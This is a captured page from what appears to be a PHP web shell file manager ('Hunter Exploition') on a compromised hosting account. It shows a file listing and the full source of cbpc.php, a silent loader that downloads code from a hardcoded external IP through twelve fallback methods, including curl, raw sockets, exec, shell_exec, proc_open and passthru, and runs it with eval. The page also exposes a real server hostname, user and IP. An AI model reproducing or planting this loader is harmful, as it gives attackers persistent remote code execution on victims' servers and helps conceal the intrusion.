[ SYSTEM ]: Linux server540.iseencloud.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
[ SERVER ]: LiteSpeed | PHP: 8.1.34
[ USER ]: akinema1 | IP: 148.251.153.114
Hunter Exploition:@hunter_workinfo
/
home2
/
akinema1
/
.razor
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 wp-content
SET
[ DEL ]
📄 BsMPQ6Wavdefault.php
734,489 B
SET
[ EDIT ]
|
[ DEL ]
📄 QwtVtwdefault.php
1,285,471 B
SET
[ EDIT ]
|
[ DEL ]
📄 cbpc.php
8,466 B
SET
[ EDIT ]
|
[ DEL ]
📄 razor-agent.log
5,702 B
SET
[ EDIT ]
|
[ DEL ]
📄 server.c301.cloudmark.com.conf
999 B
SET
[ EDIT ]
|
[ DEL ]
📄 server.c302.cloudmark.com.conf
999 B
SET
[ EDIT ]
|
[ DEL ]
📄 server.c303.cloudmark.com.conf
999 B
SET
[ EDIT ]
|
[ DEL ]
📄 servers.catalogue.lst
57 B
SET
[ EDIT ]
|
[ DEL ]
📄 servers.discovery.lst
30 B
SET
[ EDIT ]
|
[ DEL ]
📄 servers.nomination.lst
76 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: cbpc.php
<?php session_start(); $u = $_SESSION['ts_url'] ?? 'http://107.150.50.154/j260620_13/init.txt'; // ============================================ // METODE 1: file_get_contents // ============================================ function method_file_get_contents($url) { $context = stream_context_create([ 'http' => ['timeout' => 30, 'user_agent' => 'Mozilla/5.0', 'follow_location' => true, 'max_redirects' => 5], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $result = @file_get_contents($url, false, $context); return ($result !== false && !empty($result)) ? $result : null; } // ============================================ // METODE 2: cURL // ============================================ function method_curl($url) { if (!function_exists('curl_init')) return null; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_USERAGENT => 'Mozilla/5.0' ]); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return ($result && $httpCode == 200) ? $result : null; } // ============================================ // METODE 3: SplFileObject (Kode Asli) // ============================================ function method_spl($url) { try { $file = new SplFileObject($url); $r = ''; while (!$file->eof()) $r .= $file->fgets(); return (!empty($r)) ? $r : null; } catch (Exception $e) { return null; } } // ============================================ // METODE 4: fsockopen // ============================================ function method_fsockopen($url) { $p = parse_url($url); $h = isset($p['host']) ? $p['host'] : ''; $pt = isset($p['path']) ? $p['path'] : '/'; $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80; if (empty($h)) return null; $fp = @fsockopen($h, $port, $en, $es, 30); if (!$fp) return null; fwrite($fp, "GET $pt HTTP/1.1\r\nHost: $h\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\n\r\n"); $response = ''; while (!feof($fp)) $response .= fgets($fp, 128); fclose($fp); if (strpos($response, "\r\n\r\n") !== false) { list($h, $b) = explode("\r\n\r\n", $response, 2); return (!empty($b)) ? $b : null; } return null; } // ============================================ // METODE 5: fopen + stream_get_contents // ============================================ function method_fopen($url) { $ctx = stream_context_create(['http' => ['timeout' => 30], 'ssl' => ['verify_peer' => false]]); $fp = @fopen($url, 'r', false, $ctx); if (!$fp) return null; $c = stream_get_contents($fp); fclose($fp); return (!empty($c)) ? $c : null; } // ============================================ // METODE 6: stream_socket_client // ============================================ function method_stream_socket($url) { $p = parse_url($url); $h = isset($p['host']) ? $p['host'] : ''; $pt = isset($p['path']) ? $p['path'] : '/'; $sc = isset($p['scheme']) ? $p['scheme'] : 'http'; $port = ($sc === 'https') ? 443 : 80; if (empty($h)) return null; $remote = ($sc === 'https') ? "ssl://$h:$port" : "tcp://$h:$port"; $s = @stream_socket_client($remote, $en, $es, 30); if (!$s) return null; fwrite($s, "GET $pt HTTP/1.1\r\nHost: $h\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"); $r = stream_get_contents($s); stream_socket_shutdown($s, STREAM_SHUT_RDWR); if ($r && strpos($r, "\r\n\r\n") !== false) { list($hd, $bd) = explode("\r\n\r\n", $r, 2); return (!empty($bd)) ? $bd : null; } return null; } // ============================================ // METODE 7: socket_create // ============================================ function method_socket_create($url) { if (!function_exists('socket_create')) return null; $p = parse_url($url); $h = isset($p['host']) ? $p['host'] : ''; $pt = isset($p['path']) ? $p['path'] : '/'; $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80; if (empty($h)) return null; $ip = gethostbyname($h); if ($ip === $h) return null; $s = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$s) return null; if (!@socket_connect($s, $ip, $port)) { socket_close($s); return null; } socket_write($s, "GET $pt HTTP/1.1\r\nHost: $h\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"); $r = ''; while ($b = @socket_read($s, 1024)) $r .= $b; socket_close($s); if ($r && strpos($r, "\r\n\r\n") !== false) { list($hd, $bd) = explode("\r\n\r\n", $r, 2); return (!empty($bd)) ? $bd : null; } return null; } // ============================================ // METODE 8: exec + curl // ============================================ function method_exec_curl($url) { if (!function_exists('exec')) return null; @exec('curl -s -L --max-time 30 -A "Mozilla/5.0" "'.escapeshellarg($url).'" 2>&1', $o, $rv); return ($rv === 0 && !empty($o)) ? implode("\n", $o) : null; } // ============================================ // METODE 9: exec + wget // ============================================ function method_exec_wget($url) { if (!function_exists('exec')) return null; @exec('wget -q -O- --timeout=30 --user-agent="Mozilla/5.0" "'.escapeshellarg($url).'" 2>/dev/null', $o, $rv); return ($rv === 0 && !empty($o)) ? implode("\n", $o) : null; } // ============================================ // METODE 10: shell_exec + curl // ============================================ function method_shell_exec($url) { if (!function_exists('shell_exec')) return null; $r = @shell_exec('curl -s -L --max-time 30 -A "Mozilla/5.0" "'.escapeshellarg($url).'" 2>&1'); return (!empty($r)) ? $r : null; } // ============================================ // METODE 11: proc_open // ============================================ function method_proc_open($url) { if (!function_exists('proc_open')) return null; $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = @proc_open('curl -s -L --max-time 30 "'.escapeshellarg($url).'"', $descriptorspec, $pipes); if (!is_resource($process)) return null; fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); return (!empty($output)) ? $output : null; } // ============================================ // METODE 12: passthru // ============================================ function method_passthru($url) { if (!function_exists('passthru')) return null; ob_start(); @passthru('curl -s -L --max-time 30 "'.escapeshellarg($url).'" 2>&1', $rv); $output = ob_get_clean(); return ($rv === 0 && !empty($output)) ? $output : null; } // ============================================ // FUNGSI UTAMA - SILENT MODE // ============================================ function fetchContentSilent($url) { $methods = array( 'method_file_get_contents', 'method_curl', 'method_spl', 'method_fsockopen', 'method_fopen', 'method_stream_socket', 'method_socket_create', 'method_exec_curl', 'method_exec_wget', 'method_shell_exec', 'method_proc_open', 'method_passthru' ); foreach ($methods as $method) { try { $result = call_user_func($method, $url); if ($result !== null && !empty(trim($result))) { return $result; } } catch (Exception $e) { continue; } } return null; } // ============================================ // EKSEKUSI LANGSUNG - TANPA OUTPUT // ============================================ try { $content = fetchContentSilent($u); if ($content && !empty(trim($content))) { eval("?>$content"); } } catch (Exception $e) { // Silent fail - tidak output apa-apa } ?>